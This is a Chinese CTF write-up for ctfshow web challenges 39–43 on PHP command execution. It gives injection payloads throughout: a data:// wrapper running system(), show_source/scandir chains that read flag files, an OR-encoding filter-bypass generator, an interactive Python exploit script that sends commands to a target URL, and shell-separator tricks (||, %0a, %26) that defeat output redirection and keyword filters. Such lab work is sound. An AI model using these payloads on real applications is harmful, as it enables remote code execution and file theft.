ctfshow web入门 命令执行39-43
web39

这个地方被加上了.php后缀
官方解释data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用,这个c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==不可用的原因是,base64解码不了,因为后面会加上php后缀
payload:
c=data://text/plain,<?php%20system("nl%20fla*");?>
2.web40

这题过滤了很多符号
特别注意这题过滤的是中文括号而非英文括号
英文括号: \(\)
中文括号:\(\)
show_source,highlight_file高亮显示文件,next是下一个元素。array_reverse是反向输出,pos是输出当前元素的值,localeconv是返回包含本地数字及货币格式信息的数组,scandir是列出指定路径的文件和目录,dirname是去掉文件名后的目录名,__FILE__表示当前文件的绝对路径
使用第一个时,首先查看目录下但前有哪些文件
c=print_r(scandir(dirname(__FILE__)));

利用array_reverse,next函数使当前目录只有flag.php
c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));

最后读取该目录下的文件源码
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
payload:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
3.web41

过滤了很多运算符号,但是没有过滤|或运算
生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
4.web42

这题 空格>/dev/null 2>&1,错误的正确的都重定向到空设备里,说白了就是重定向这里的命令执行结果不管命令是否执行成功,都不会又任何结果输出到屏幕上
linux 0为标准输入
linux 1为标准输出
linux 2为标准错误输出
linux管道符:
; 执行完前面的在执行后面的,代表此命令的结束
| 异或 前面语句可真可假,只会显示后面执行的命令结果
|| 或 前面语句为假时,才会执行后面的命令
& 与 前面语句可真可假,两个命令都会执行
&& 并且 前面语句只能为真,两个命令都会执行
command1&command2 两个命令同时执行
command1;command2不管前面的命令执行成功与否,后面的命令继续执行
command1&&command2只有前面的命令执行成功了,后面才能继续执行
&&不管有没有空格都能执行,因为&&只有前面的命令执行成功了,后面才能继续执行和||类似的意思,这两个管道符都是把后面的重定向分开了,跟后面的重定向没有关系
&没有空格是执行不了的,当有空格时>/dev/null 2>&1,才相当于1>/dev/null 2>&1


payload:
c=nl flag.php; #已跳出重定向
c=nl flag.php|| #前面为真时,不会执行后面的命令
c=nl flag.php%0a #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26 #%26 url编码代表&
5.web43

这题过滤了;和cat
payload:
c=nl flag.php|| #前面为真时,不会执行后面的命令
c=nl flag.php%0a #%0a代表换行符
c=nl flag.php%26%26 #%26%26 url编码代表&&
c=nl flag.php%26 #%26 url编码代表&
参考文章:
(12条消息) ctfshow web入门 命令执行部分 (37-40)_yu22x的博客-CSDN博客
(12条消息) [CTFSHOW]命令执行_ctfshow 命令执行_Y4tacker的博客-CSDN博客
web41脚本
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)